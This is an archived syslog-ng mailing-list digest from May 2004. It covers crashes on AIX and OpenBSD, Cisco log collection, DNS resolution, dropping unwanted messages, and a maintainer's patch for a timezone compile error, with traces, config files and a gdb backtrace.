configure.tmp mv configure configure.vanilla mv configure.tmp configure But from my point of view, this should not cause the daemon to die after less than 100 messages? :-o Bye, Elliot > Hello, > > > 2004-05-05, sze keltezéssel 19:09-kor me ezt írta: > > > Hello, > > > > > > syslog-ng-1.6.2 on AIX. The daemon crashes with the following message > > after > > > received approximately 70 messages: > > > > I don't see why AIX would be different wrt the garbage collector. I > > think this should be some kind of compiler/libc/etc. related. > > > > What is your compiler version, is syslog-ng compiled into 64 or 32 bit > > mode? > > 32 bit mode with gcc 3.3.2 (see below). > > $ gcc -v > Reading specs from /opt/gcc/lib/gcc-lib/powerpc-ibm-aix5.1.0.0/3.3.2/specs > Configured with: ./configure --prefix=/opt/gcc > Thread model: aix > gcc version 3.3.2 > > Since you released 1.6.3 I'll try this one also. I also experienced the > problems with the multiple destination definition. Will be back soon... > > Thanks for your feedback! > Elliot > > Btw: Following the last lines of a truss. Exactly 70 writes to the log > file. > Somehow magic... > > 15562: _poll(0x2FF22A90, 0x00000003, 0x00000064, 0x0000D0B2, 0x00000000, > 0x60000000, 0x00000001, 0x00000000) = 0x00000000 > 15562: Incurred fault #2, FLTPRIV address = 0x00004778 > 15562: Received signal #4, SIGILL [default] > 15562: *** process killed *** > > -- > NEU : GMX Internet.FreeDSL > Ab sofort DSL-Tarif ohne Grundgebühr: http://www.gmx.net/dsl > > _______________________________________________ > syslog-ng maillist - syslog-ng@lists.balabit.hu > https://lists.balabit.hu/mailman/listinfo/syslog-ng > Frequently asked questions at http://www.campin.net/syslog-ng/faq.html > -- "Sie haben neue Mails!" - Die GMX Toolbar informiert Sie beim Surfen! Jetzt aktivieren unter http://www.gmx.net/info From syslog-ng@lists.balabit.hu Mon May 17 21:05:55 2004 From: syslog-ng@lists.balabit.hu (Asif Iqbal) Date: Mon, 17 May 2004 16:05:55 -0400 Subject: [syslog-ng]Not Logging Message-ID: <20040517200554.GH16586@qwestip.net> Hi All I am using this as my conf file for my syslog-ng 1.6.3 w/ libol-0.3.13 to gather logs from cisco. But it is not logging. I am running it on Solaris 9. Notice I can get the log on local7 that points to /var/log/cisco IF I use Solaris's syslogd options { sync (0); time_reopen (10); log_fifo_size (1000); long_hostnames (off); use_dns (yes); use_fqdn (yes); create_dirs (no); dir_perm(0755); perm(0644); chain_hostnames(no); keep_hostname (yes); }; source net { udp (ip(1.2.0.94) port(514)); }; # local7.crit;local7.warn;local7.info;local7.debug /var/log/cisco filter f_cisco { facility(local7) and level(debug...emerg); }; destination d_cisco { file("/var/log/cisco" create_dirs(yes)); }; log { source(net); filter(f_cisco); destination(d_cisco); }; My snoop/tcpdump gets the SYSLOG pkts fine. Any idea why is it not writng the log with syslog-ng but ONLY with syslogd? I never run both daemons at the same time Thanks for the help/suggestion -- Asif Iqbal PGP Key: 0xE62693C5 KeyServer: pgp.mit.edu There's no place like 127.0.0.1 From syslog-ng@lists.balabit.hu Mon May 17 21:33:33 2004 From: syslog-ng@lists.balabit.hu (Nate Campi) Date: Mon, 17 May 2004 13:33:33 -0700 Subject: [syslog-ng]Not Logging In-Reply-To: <20040517200554.GH16586@qwestip.net> References: <20040517200554.GH16586@qwestip.net> Message-ID: <20040517203333.GL13906@campin.net> On Mon, May 17, 2004 at 04:05:55PM -0400, Asif Iqbal wrote: > > I am using this as my conf file for my syslog-ng 1.6.3 w/ libol-0.3.13 > to gather logs from cisco. But it is not logging. I am running it on > Solaris 9. Notice I can get the log on local7 that points to > /var/log/cisco IF I use Solaris's syslogd > > > options { sync (0); > time_reopen (10); > log_fifo_size (1000); > long_hostnames (off); > use_dns (yes); > use_fqdn (yes); > create_dirs (no); > dir_perm(0755); > perm(0644); > chain_hostnames(no); > keep_hostname (yes); > }; Seems you've done a good job eliminating the network, if syslog-ng isn't writing the logs I'd check that it's not blocking on DNS lookups. -- Nate "Man is the only animal that blushes. Or needs to." - Samuel Clemens From syslog-ng@lists.balabit.hu Tue May 18 00:14:43 2004 From: syslog-ng@lists.balabit.hu (Philip Webster) Date: Tue, 18 May 2004 09:14:43 +1000 Subject: [syslog-ng]TCP Connection Dropouts In-Reply-To: <1084781181.576.6.camel@bzorp.balabit> References: <40A83A1F.6040904@hotpop.com> <1084781181.576.6.camel@bzorp.balabit> Message-ID: <40A94763.9000809@hotpop.com> Thanks Bazsi and Ted, This is exactly the information I was looking for. I had tested with removing the cable, but there no way (that I could find) to reliably test a connection dropping out once it had been established. Thanks Phil Balazs Scheidler wrote: > 2004-05-17, h keltezéssel 06:05-kor Philip Webster ezt írta: > >>Hello, >> >>I'm wondering about the resilience of syslog-ng to TCP connection dropouts. >>I've tested what happens when there is no connection available - syslog-ng >>buffers the output and continues to write to local files, ie. it doesn't block. >> >>But what happens if the TCP connection fails halfway through? So, for >>example, the three-way handshake has been completed, but there is no response >>after the first data packet is sent because the remote host (or router, >>switch, ISP ...) has stopped responding. I can't really test this, so does >>anyone know how syslog-ng handles it? > > > exactly the same, syslog-ng 1.6.x does never block. (or at least should > not), there's no flow control. > From syslog-ng@lists.balabit.hu Tue May 18 01:36:26 2004 From: syslog-ng@lists.balabit.hu (Senga, Gene) Date: Mon, 17 May 2004 17:36:26 -0700 Subject: [syslog-ng]unparseable log message error Message-ID: <646A1F86E0DCA244970E44B93AAAE48794BB60@ussc8ms05> This is a multi-part message in MIME format. ------_=_NextPart_001_01C43C70.26FD9BD8 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable hello, anyone familiar with this message? It seems to go in cycles in the = syslog file until /var is full. unparseable log message: "<2048032048204803, 204803, 204803, 204803, = 204803, b_blockn204803, 20480204803,204803, b_blocknr=3D42949672204803,204803, = b_blocknr204803, b_blocknr=3D429496204803 , 204803204803, 204803, 204803, 204803, 204803, 204803, = b_blockn204803,204803, b_blocknr=3D42949672204803, 2048 03, 204803, 204803, b_204803, 204803, b_block204803, 204803, 204803, = 204803, 204803, 204803, 204803, 204803,2 04803, b204803, b_blocknr204803, 204803, 204803, 204803, = b_blocknr204803, b_blocknr=3D4294967204803, 204803, 20 4803, 204803, b_blocknr204803, 204803, b_b204204803, 204803, = 204803,204803, b_blocknr204803, 204803,204204803 , b_blocknr204803, b_blocknr204803,204803, b204803, b_204803, = e=3D0x00000000, b_size=3D1024" Linux kernel 2.6.1-5 any help is appreciated. thanks, gene ------_=_NextPart_001_01C43C70.26FD9BD8 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable unparseable log message error

hello,

anyone familiar with this = message?  It seems to go in cycles in the syslog file until /var is = full.

unparseable log message: = "<2048032048204803, 204803, 204803, 204803, 204803,
 b_blockn204803, = 20480204803,204803, b_blocknr=3D42949672204803,204803, b_blocknr204803, = b_blocknr=3D429496204803
, 204803204803, 204803, 204803, = 204803, 204803, 204803, b_blockn204803,204803, = b_blocknr=3D42949672204803, 2048
03, 204803, 204803, b_204803, 204803, = b_block204803, 204803, 204803, 204803, 204803, 204803, 204803, = 204803,2
04803, b204803, b_blocknr204803, = 204803, 204803, 204803, b_blocknr204803, b_blocknr=3D4294967204803, = 204803, 20
4803, 204803, b_blocknr204803, 204803, = b_b204204803, 204803, 204803,204803, b_blocknr204803, = 204803,204204803
, b_blocknr204803, = b_blocknr204803,204803, b204803, b_204803, e=3D0x00000000, = b_size=3D1024"

Linux kernel 2.6.1-5

any help is appreciated.

thanks,
gene

------_=_NextPart_001_01C43C70.26FD9BD8-- From syslog-ng@lists.balabit.hu Wed May 19 11:52:17 2004 From: syslog-ng@lists.balabit.hu (Rich Armstrong) Date: Wed, 19 May 2004 12:52:17 +0200 Subject: [syslog-ng]Most efficient way of "dropping" garbage ? Message-ID: <200405191252.18366.syslog@richardarmstrong.co.uk> We have a syslog-ng server, with many clients. One of these clients is suffering from DoS attacks. Since these are being logged, the syslog-ng server is also suffering ! I have created the following, temporarily :- destination d_null { file("/dev/null"); }; filter f_null { host("dummy.name.host.net"); }; log { source(net); filter(f_null); destination(d_null); flags(final); }; This solves the problem with disk usage, but there is still some significant CPU load. So, the question is, "Is there a more efficient method of ignoring/dropping messages ?" Should I be using pipe(), instead of file() ? -- Richard Armstrong From syslog-ng@lists.balabit.hu Wed May 19 14:11:47 2004 From: syslog-ng@lists.balabit.hu (Rich Armstrong) Date: Wed, 19 May 2004 15:11:47 +0200 Subject: [syslog-ng]Re: Most efficient way of "dropping" garbage ? In-Reply-To: <200405191252.18366.syslog@richardarmstrong.co.uk> References: <200405191252.18366.syslog@richardarmstrong.co.uk> Message-ID: <200405191511.47409.syslog@richardarmstrong.co.uk> > I have created the following, temporarily :- > > destination d_null { file("/dev/null"); }; > filter f_null { host("dummy.name.host.net"); }; > log { source(net); filter(f_null); destination(d_null); flags(final); }; > > This solves the problem with disk usage, but there is still some > significant CPU load. So, the question is, "Is there a more efficient > method of ignoring/dropping messages ?" > > Should I be using pipe(), instead of file() ? Ouch. Yes, use pipe() ! file() appears to set the permissions upon opening the file. Thus /dev/null suddenly became crw-------, instead of crw-rw-rw- ! This doesn't appear painful until every user complains that they are suddenly unable to use perl, man, ... -- Richard Armstrong From syslog-ng@lists.balabit.hu Thu May 13 20:00:33 2004 From: syslog-ng@lists.balabit.hu (Chris Paalman) Date: Thu, 13 May 2004 14:00:33 -0500 Subject: [syslog-ng]Syslog-ng will not configure properly on vanilla Red Hat Message-ID: <1E1364F02B5EC544B51C2F2E5B09D1B999E923@MSEVS01.nshinc.com> If you look more carefully on the website you will notice that the files = are sorted by filename and not by date. Thus you will find what you are looking for in the middle of the list. Chris Paalman >Reply-To: syslog-ng@lists.balabit.hu > > >I just realized it is looking for libol > 0.3.13, but the latest on the = >site is 0.3.9 which it says to use with syslog-ng 1.6.3. > >Where can I get this newer version of libol???? >?? From syslog-ng@lists.balabit.hu Fri May 14 23:36:12 2004 From: syslog-ng@lists.balabit.hu (Leonard Mills) Date: Fri, 14 May 2004 22:36:12 +0000 Subject: [syslog-ng]cisco host not being resolved In-Reply-To: Your message of "Fri, 14 May 2004 17:33:41 -0400." <20040514213341.GG16586@qwestip.net> Message-ID: <200405142236.i4EMaDo28960@soda-pop.corpnet.sel.sony.com> Asif Iqbal wrote: >Badat, Qassim, ALABS wrote: >> I resolved it, the problem was due to DNS and missing reverse entries >> for these hosts. Guess what, it was the logs in the syslog-ng that led >> to its own resolution !!! >Would you care to share the diff of the not working and working >syslog.conf? I am having the same problem That means just add the Ciscos to the appropriate in-addr.arpa zone. It's all in DNS, not in syslog-ng. Len From syslog-ng@lists.balabit.hu Tue May 18 22:05:07 2004 From: syslog-ng@lists.balabit.hu (Steven J. Surdock) Date: Tue, 18 May 2004 17:05:07 -0400 Subject: [syslog-ng]Error compiling 1.6.4 on OpenBSD 3.5-stable Message-ID: <006a01c43d1b$ccb546a0$2953a8c0@klap02> $ ./configure ... $ make ... gcc -DHAVE_CONFIG_H -I. -I/home/ssurdock/syslog-ng-1.6.4/src -I. -g -O2 -Wall -I/usr/local/include/libol -D_GNU_SOURCE -c macros.c macros.c: In function `format_tzofs': macros.c:118: error: `tm' undeclared (first use in this function) macros.c:118: error: (Each undeclared identifier is reported only once macros.c:118: error: for each function it appears in.) *** Error code 1 Stop in /home/ssurdock/syslog-ng-1.6.4/src. *** Error code 1 Stop in /home/ssurdock/syslog-ng-1.6.4/src (line 253 of Makefile). *** Error code 1 Stop in /home/ssurdock/syslog-ng-1.6.4/src (line 418 of Makefile). *** Error code 1 Stop in /home/ssurdock/syslog-ng-1.6.4 (line 168 of Makefile). $ Which seems to stem from the GLOBAL_TIMEZONE not being detected and tm not being defined in the "else" part of the #if: format_tzofs(char *dest, size_t left) { size_t length; #if HAVE_GLOBAL_TIMEZONE length = snprintf(dest, left - 1, "%c%02ld%02ld", timezone > 0 ? '-' : '+', (timezone < 0 ? -timezone : timezone) / 3600, (timezone % 3600) / 60); #else length = strftime(dest, left -1, "%z", tm); #endif return length; } And possibly the relevant config.log ... configure:1876: checking for global timezone variable configure:1895: gcc -c -g -O2 conftest.c 1>&5 configure: In function `foo': configure:1889: error: invalid lvalue in assignment configure: failed program was: #line 1881 "configure" ... From syslog-ng@lists.balabit.hu Wed May 19 02:54:25 2004 From: syslog-ng@lists.balabit.hu (Steven J. Surdock) Date: Tue, 18 May 2004 21:54:25 -0400 Subject: [syslog-ng]Error compiling 1.6.4 on OpenBSD 3.5-stable Message-ID: <002e01c43d44$36d4c240$2353a8c0@klap02> $ ./configure ... $ make ... gcc -DHAVE_CONFIG_H -I. -I/home/ssurdock/syslog-ng-1.6.4/src -I. -g -O2 -Wall -I/usr/local/include/libol -D_GNU_SOURCE -c macros.c macros.c: In function `format_tzofs': macros.c:118: error: `tm' undeclared (first use in this function) macros.c:118: error: (Each undeclared identifier is reported only once macros.c:118: error: for each function it appears in.) *** Error code 1 Stop in /home/ssurdock/syslog-ng-1.6.4/src. *** Error code 1 Stop in /home/ssurdock/syslog-ng-1.6.4/src (line 253 of Makefile). *** Error code 1 Stop in /home/ssurdock/syslog-ng-1.6.4/src (line 418 of Makefile). *** Error code 1 Stop in /home/ssurdock/syslog-ng-1.6.4 (line 168 of Makefile). $ Which seems to stem from the GLOBAL_TIMEZONE not being detected and tm not being defined in the "else" part of the #if: format_tzofs(char *dest, size_t left) { size_t length; #if HAVE_GLOBAL_TIMEZONE length = snprintf(dest, left - 1, "%c%02ld%02ld", timezone > 0 ? '-' : '+', (timezone < 0 ? -timezone : timezone) / 3600, (timezone % 3600) / 60); #else length = strftime(dest, left -1, "%z", tm); #endif return length; } And possibly the relevant config.log ... configure:1876: checking for global timezone variable configure:1895: gcc -c -g -O2 conftest.c 1>&5 configure: In function `foo': configure:1889: error: invalid lvalue in assignment configure: failed program was: #line 1881 "configure" ... Interestingly the following seems to work: #else length = strftime(dest, left -1, "%z", localtime(time(NULL))); #endif From syslog-ng@lists.balabit.hu Wed May 19 15:25:59 2004 From: syslog-ng@lists.balabit.hu (Balazs Scheidler) Date: Wed, 19 May 2004 16:25:59 +0200 Subject: [syslog-ng]Error compiling 1.6.4 on OpenBSD 3.5-stable In-Reply-To: <002e01c43d44$36d4c240$2353a8c0@klap02> References: <002e01c43d44$36d4c240$2353a8c0@klap02> Message-ID: <1084976759.2303.33.camel@bzorp.balabit> 2004-05-19, sze keltezéssel 03:54-kor Steven J. Surdock ezt írta: > $ ./configure > ... > $ make > ... > gcc -DHAVE_CONFIG_H -I. -I/home/ssurdock/syslog-ng-1.6.4/src -I. -g -O2 > -Wall -I/usr/local/include/libol -D_GNU_SOURCE -c macros.c > macros.c: In function `format_tzofs': > macros.c:118: error: `tm' undeclared (first use in this function) > macros.c:118: error: (Each undeclared identifier is reported only once > macros.c:118: error: for each function it appears in.) > *** Error code 1 thanks for the report, this patch should be the real solution: diff -u -r1.4.4.4 macros.c --- macros.c 6 May 2004 07:37:10 -0000 1.4.4.4 +++ macros.c 19 May 2004 14:24:37 -0000 @@ -105,7 +105,7 @@ } static size_t -format_tzofs(char *dest, size_t left) +format_tzofs(char *dest, size_t left, struct tm *tm) { size_t length; @@ -336,7 +336,7 @@ case M_ISODATE_RECVD: case M_ISODATE_STAMP: length = strftime(*dest, *left - 1, "%Y-%m-%dT%H:%M:%S", tm); - length = length + format_tzofs((*dest) + length, *left - length - 1); + length = length + format_tzofs((*dest) + length, *left - length - 1, tm); break; case M_FULLDATE: case M_FULLDATE_RECVD: @@ -351,7 +351,7 @@ case M_TZOFFSET: case M_TZOFFSET_RECVD: case M_TZOFFSET_STAMP: - length = format_tzofs(*dest, *left - 1); + length = format_tzofs(*dest, *left - 1, tm); break; case M_TZ: case M_TZ_RECVD: -- Bazsi PGP info: KeyID 9AF8D0A9 Fingerprint CD27 CFB0 802C 0944 9CFD 804E C82C 8EB1 From syslog-ng@lists.balabit.hu Wed May 19 17:46:01 2004 From: syslog-ng@lists.balabit.hu (Steven S.) Date: Wed, 19 May 2004 12:46:01 -0400 Subject: [syslog-ng]Error compiling 1.6.4 on OpenBSD 3.5-stable In-Reply-To: <1084976759.2303.33.camel@bzorp.balabit> Message-ID: <006701c43dc0$c4dd2920$2353a8c0@klap02> That worked. Thanks! Now syslog-ng dies without error when started (ktrace output way below). Started with "-F" caused a core dump (see gdb output below). Started = with "-d" seems to work but timestamps are off and hostnames for udp messages = are lost. ...running syslogd May 19 11:36:53 172.16.10.20 May 19 2004 00:33:29: %PIX-4-106023: Deny = udp src o utside:4.4.6.15/57112 dst inside:10.1.2.16/514 by access-group "outside _access_in" May 19 11:37:02 172.16.10.20 May 19 2004 00:33:39: %PIX-4-106023: Deny = udp src o utside:210.12.158.85/1243 dst inside:10.1.2.15/1434 by access-group = "outsid e_access_in" ...running syslog-ng May 19 00:35:29 logger01 %PIX-4-106023: Deny udp src = outside:4.4.6.15/57112 dst inside:10.1.2.16/514 by access-group "outside_access_in" May 19 00:36:29 logger01 %PIX-4-106023: Deny udp src = outside:4.4.6.15/57112 dst inside:10.1.2.16/514 by access-group "outside_access_in" root@logger01 [/root]# gdb /usr/local/sbin/syslog-ng syslog-ng.core GNU gdb 4.16.1 Copyright 1996 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you = are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for = details. This GDB was configured as "sparc64-unknown-openbsd3.5"... Core was generated by `syslog-ng'. Program terminated with signal 11, Segmentation fault. Couldn't read input and local registers from core file Couldn't read input and local registers from core file #0 0x114d48 in werror () at macros.c:104 104 return l; (gdb)=20 And here is an obnoxiously long ktrace output when running with no = flags... 30343 syslog-ng GIO fd 3 read 3503 bytes "# syslog-ng configuration file. # # This should behave pretty much like the original syslog on = RedHat. B\ ut # it could be configured a lot smarter. # # See syslog-ng(8) and syslog-ng.conf(5) for more information. # # 20000925 gb@sysfive.com options { sync (0); time_reopen (10); log_fifo_size (1000); keep_hostname (yes); chain_hostnames (yes); long_hostnames (off); use_dns (no); use_fqdn (no); create_dirs (no); keep_hostname (yes); }; #source s_sys { unix-stream ("/dev/log"); internal(); file ("/dev/klog\ ") }; source s_sys { unix-dgram ("/dev/log"); internal(); file ("/dev/klog")\ ; }; source s_udp { udp (); }; destination d_cons { file("/dev/console"); }; destination d_mesg { file("/var/log/messages"); }; destination d_auth { file("/var/log/authlog"); }; destination d_authp { file("/var/log/secure"); }; destination d_cron { file("/var/cron/log"); }; destination d_daem { file("/var/log/daemon"); }; destination d_ftp { file("/var/log/xferlog"); }; destination d_lpr { file("/var/log/lpd-errs"); }; destination d_mail { file("/var/log/maillog"); }; destination d_spol { file("/var/log/uucp"); }; destination d_mlal { usertty("*"); }; destination d_root { usertty("root"); }; destination d_trap { file("/var/log/snmptraps"); }; destination d_cisco { file("/var/log/cisco" template("$FULLDATE $HOST $FACILITY.$PRIORITY $MSG\\n"\ )); }; destination d_catchudp { = file("/var/log/systems/catchudp.log"); }; destination d_catchsys { file("/var/log/catchsys.log"); }; #destination d_swatch { program("/usr/bin/swatch -c /etc/swatch/swatch\ rc -p \\"cat /dev/fd/0\\""); }; filter f_kern { facility(kern); }; filter f_mesg { level(info..emerg) and not facility(mail, auth, authpriv, ftp, lpr,local0\ , local7) and not filter(f_croner) and not facility(daemon) and level(info); }; filter f_auth { facility(auth); }; filter f_authp { facility(authpriv); }; filter f_cron { facility(cron); }; filter f_mail { facility(mail); }; filter f_daem { facility(daemon); }; filter f_ftp { facility(ftp); }; filter f_lpr { facility(lpr); }; filter f_mail { facility(mail); }; filter f_emerg { level(emerg); }; filter f_spol { facility(uucp) or (facility(news) and level(crit)); }; filter f_trap { facility(local0); }; filter f_cisco { facility(local7); }; filter f_swatch { level(info..emerg); }; #log { source(s_sys); filter(f_kern); destination(d_cons); }; log { source(s_sys); filter(f_kern); destination(d_mesg); }; log { source(s_sys); filter(f_mesg); destination(d_mesg); }; log { source(s_sys); filter(f_auth); destination(d_auth); }; log { source(s_sys); filter(f_mail); destination(d_mail); }; log { source(s_sys); filter(f_emerg); destination(d_mlal); }; log { source(s_sys); filter(f_spol); destination(d_spol); }; log { source(s_sys); filter(f_cron); destination(d_cron); }; log { source(s_sys); filter(f_trap); destination(d_trap); }; log { source(s_udp); filter(f_cisco); destination(d_cisco); }; log { source(s_sys); filter(f_swatch); destination(d_catchsys); = }; #log { source(s_ksy); filter(f_swatch); destination(d_catchsys); = }; #log { source(s_udp); filter(f_swatch); destination(d_swatch); = }; #log { source(s_udp); filter(f_swatch); destination(d_catchudp); = }; " 30343 syslog-ng RET read 3503/0xdaf 30343 syslog-ng CALL read(0x3,0x730000,0x4000) 30343 syslog-ng RET read 0 30343 syslog-ng CALL sigprocmask(0x1,0xffffffff) 30343 syslog-ng RET sigprocmask 0 30343 syslog-ng CALL mprotect(0x41c000,0x2000,0x7) 30343 syslog-ng RET mprotect 0 30343 syslog-ng CALL mprotect(0x41c000,0x2000,0x5) 30343 syslog-ng RET mprotect 0 30343 syslog-ng CALL sigprocmask(0x3,0) 30343 syslog-ng RET sigprocmask -65793/0xfffefeff 30343 syslog-ng CALL sigprocmask(0x1,0xffffffff) 30343 syslog-ng RET sigprocmask 0 30343 syslog-ng CALL mprotect(0x41c000,0x2000,0x7) 30343 syslog-ng RET mprotect 0 30343 syslog-ng CALL mprotect(0x41c000,0x2000,0x5) 30343 syslog-ng RET mprotect 0 30343 syslog-ng CALL sigprocmask(0x3,0) 30343 syslog-ng RET sigprocmask -65793/0xfffefeff 30343 syslog-ng CALL sigprocmask(0x1,0xffffffff) 30343 syslog-ng RET sigprocmask 0 30343 syslog-ng CALL mprotect(0x46cd8000,0x8000,0x7) 30343 syslog-ng RET mprotect 0 30343 syslog-ng CALL mprotect(0x46cd8000,0x8000,0x5) 30343 syslog-ng RET mprotect 0 30343 syslog-ng CALL sigprocmask(0x3,0) 30343 syslog-ng RET sigprocmask -65793/0xfffefeff 30343 syslog-ng CALL sigprocmask(0x1,0xffffffff) 30343 syslog-ng RET sigprocmask 0 30343 syslog-ng CALL mprotect(0x41c000,0x2000,0x7) 30343 syslog-ng RET mprotect 0 30343 syslog-ng CALL mprotect(0x41c000,0x2000,0x5) 30343 syslog-ng RET mprotect 0 30343 syslog-ng CALL sigprocmask(0x3,0) 30343 syslog-ng RET sigprocmask -65793/0xfffefeff 30343 syslog-ng CALL sigprocmask(0x1,0xffffffff) 30343 syslog-ng RET sigprocmask 0 30343 syslog-ng CALL mprotect(0x46cd8000,0x8000,0x7) 30343 syslog-ng RET mprotect 0 30343 syslog-ng CALL mprotect(0x46cd8000,0x8000,0x5) 30343 syslog-ng RET mprotect 0 30343 syslog-ng CALL sigprocmask(0x3,0) 30343 syslog-ng RET sigprocmask -65793/0xfffefeff 30343 syslog-ng CALL sigprocmask(0x1,0xffffffff) 30343 syslog-ng RET sigprocmask 0 30343 syslog-ng CALL mprotect(0x41c000,0x2000,0x7) 30343 syslog-ng RET mprotect 0 30343 syslog-ng CALL mprotect(0x41c000,0x2000,0x5) 30343 syslog-ng RET mprotect 0 30343 syslog-ng CALL sigprocmask(0x3,0) 30343 syslog-ng RET sigprocmask -65793/0xfffefeff 30343 syslog-ng CALL sigprocmask(0x1,0xffffffff) 30343 syslog-ng RET sigprocmask 0 30343 syslog-ng CALL mprotect(0x41c000,0x2000,0x7) 30343 syslog-ng RET mprotect 0 30343 syslog-ng CALL mprotect(0x41c000,0x2000,0x5) 30343 syslog-ng RET mprotect 0 30343 syslog-ng CALL sigprocmask(0x3,0) 30343 syslog-ng RET sigprocmask -65793/0xfffefeff 30343 syslog-ng CALL sigprocmask(0x1,0xffffffff) 30343 syslog-ng RET sigprocmask 0 30343 syslog-ng CALL mprotect(0x41c000,0x2000,0x7) 30343 syslog-ng RET mprotect 0 30343 syslog-ng CALL mprotect(0x41c000,0x2000,0x5) 30343 syslog-ng RET mprotect 0 30343 syslog-ng CALL sigprocmask(0x3,0) 30343 syslog-ng RET sigprocmask -65793/0xfffefeff 30343 syslog-ng CALL sigprocmask(0x1,0xffffffff) 30343 syslog-ng RET sigprocmask 0 30343 syslog-ng CALL mprotect(0x41c000,0x2000,0x7) 30343 syslog-ng RET mprotect 0 30343 syslog-ng CALL mprotect(0x41c000,0x2000,0x5) 30343 syslog-ng RET mprotect 0 30343 syslog-ng CALL sigprocmask(0x3,0) 30343 syslog-ng RET sigprocmask -65793/0xfffefeff 30343 syslog-ng CALL sigprocmask(0x1,0xffffffff) 30343 syslog-ng RET sigprocmask 0 30343 syslog-ng CALL mprotect(0x41c000,0x2000,0x7) 30343 syslog-ng RET mprotect 0 30343 syslog-ng CALL mprotect(0x41c000,0x2000,0x5) 30343 syslog-ng RET mprotect 0 30343 syslog-ng CALL sigprocmask(0x3,0) 30343 syslog-ng RET sigprocmask -65793/0xfffefeff 30343 syslog-ng CALL ioctl(0x3,TIOCGETA,0xfffffffffffee150) 30343 syslog-ng RET ioctl -1 errno 25 Inappropriate ioctl for device 30343 syslog-ng CALL sigprocmask(0x1,0xffffffff) 30343 syslog-ng RET sigprocmask 0 30343 syslog-ng CALL mprotect(0x41c000,0x2000,0x7) 30343 syslog-ng RET mprotect 0 30343 syslog-ng CALL mprotect(0x41c000,0x2000,0x5) 30343 syslog-ng RET mprotect 0 30343 syslog-ng CALL sigprocmask(0x3,0) 30343 syslog-ng RET sigprocmask -65793/0xfffefeff 30343 syslog-ng CALL sigprocmask(0x1,0xffffffff) 30343 syslog-ng RET sigprocmask 0 30343 syslog-ng CALL mprotect(0x46cd8000,0x8000,0x7) 30343 syslog-ng RET mprotect 0 30343 syslog-ng CALL mprotect(0x46cd8000,0x8000,0x5) 30343 syslog-ng RET mprotect 0 30343 syslog-ng CALL sigprocmask(0x3,0) 30343 syslog-ng RET sigprocmask -65793/0xfffefeff 30343 syslog-ng CALL close(0x3) 30343 syslog-ng RET close 0 30343 syslog-ng CALL sigprocmask(0x1,0xffffffff) 30343 syslog-ng RET sigprocmask 0 30343 syslog-ng CALL mprotect(0x41c000,0x2000,0x7) 30343 syslog-ng RET mprotect 0 30343 syslog-ng CALL mprotect(0x41c000,0x2000,0x5) 30343 syslog-ng RET mprotect 0 30343 syslog-ng CALL sigprocmask(0x3,0) 30343 syslog-ng RET sigprocmask -65793/0xfffefeff 30343 syslog-ng CALL pipe(0xfffffffffffeedf0) 30343 syslog-ng RET pipe 0 30343 syslog-ng CALL sigprocmask(0x1,0xffffffff) 30343 syslog-ng RET sigprocmask 0 30343 syslog-ng CALL mprotect(0x41c000,0x2000,0x7) 30343 syslog-ng RET mprotect 0 30343 syslog-ng CALL mprotect(0x41c000,0x2000,0x5) 30343 syslog-ng RET mprotect 0 30343 syslog-ng CALL sigprocmask(0x3,0) 30343 syslog-ng RET sigprocmask -65793/0xfffefeff 30343 syslog-ng CALL fork 30343 syslog-ng RET fork 24318/0x5efe 30343 syslog-ng CALL sigprocmask(0x1,0xffffffff) 30343 syslog-ng RET sigprocmask 0 30343 syslog-ng CALL mprotect(0x41c000,0x2000,0x7) 30343 syslog-ng RET mprotect 0 30343 syslog-ng CALL mprotect(0x41c000,0x2000,0x5) 30343 syslog-ng RET mprotect 0 30343 syslog-ng CALL sigprocmask(0x3,0) 30343 syslog-ng RET sigprocmask -65793/0xfffefeff 30343 syslog-ng CALL close(0x4) 30343 syslog-ng RET close 0 30343 syslog-ng CALL sigprocmask(0x1,0xffffffff) 30343 syslog-ng RET sigprocmask 0 30343 syslog-ng CALL mprotect(0x41c000,0x2000,0x7) 30343 syslog-ng RET mprotect 0 30343 syslog-ng CALL mprotect(0x41c000,0x2000,0x5) 30343 syslog-ng RET mprotect 0 30343 syslog-ng CALL sigprocmask(0x3,0) 30343 syslog-ng RET sigprocmask -65793/0xfffefeff 30343 syslog-ng CALL read(0x3,0xfffffffffffeedef,0x1) 30343 syslog-ng GIO fd 3 read 1 bytes "\0" 30343 syslog-ng RET read 1 30343 syslog-ng CALL sigprocmask(0x1,0xffffffff) 30343 syslog-ng RET sigprocmask 0 30343 syslog-ng CALL mprotect(0x41c000,0x2000,0x7) 30343 syslog-ng RET mprotect 0 30343 syslog-ng CALL mprotect(0x41c000,0x2000,0x5) 30343 syslog-ng RET mprotect 0 30343 syslog-ng CALL sigprocmask(0x3,0) 30343 syslog-ng RET sigprocmask -65793/0xfffefeff 30343 syslog-ng CALL sigprocmask(0x1,0xffffffff) 30343 syslog-ng RET sigprocmask 0 30343 syslog-ng CALL mprotect(0x46cd8000,0x8000,0x7) 30343 syslog-ng RET mprotect 0 30343 syslog-ng CALL mprotect(0x46cd8000,0x8000,0x5) 30343 syslog-ng RET mprotect 0 30343 syslog-ng CALL sigprocmask(0x3,0) 30343 syslog-ng RET sigprocmask -65793/0xfffefeff 30343 syslog-ng CALL sigprocmask(0x1,0xffffffff) 30343 syslog-ng RET sigprocmask 0 30343 syslog-ng CALL mprotect(0x46cd8000,0x8000,0x7) 30343 syslog-ng RET mprotect 0 30343 syslog-ng CALL mprotect(0x46cd8000,0x8000,0x5) 30343 syslog-ng RET mprotect 0 30343 syslog-ng CALL sigprocmask(0x3,0) 30343 syslog-ng RET sigprocmask -65793/0xfffefeff 30343 syslog-ng CALL munmap(0x473e8000,0x2000) 30343 syslog-ng RET munmap 0 30343 syslog-ng CALL sigprocmask(0x1,0xffffffff) 30343 syslog-ng RET sigprocmask 0 30343 syslog-ng CALL mprotect(0x46cd8000,0x8000,0x7) 30343 syslog-ng RET mprotect 0 30343 syslog-ng CALL mprotect(0x46cd8000,0x8000,0x5) 30343 syslog-ng RET mprotect 0 30343 syslog-ng CALL sigprocmask(0x3,0) 30343 syslog-ng RET sigprocmask -65793/0xfffefeff 30343 syslog-ng CALL exit(0) root@logger01 [/root]# Balazs Scheidler wrote: > 2004-05-19, sze keltez=E9ssel 03:54-kor Steven J. Surdock ezt =EDrta: 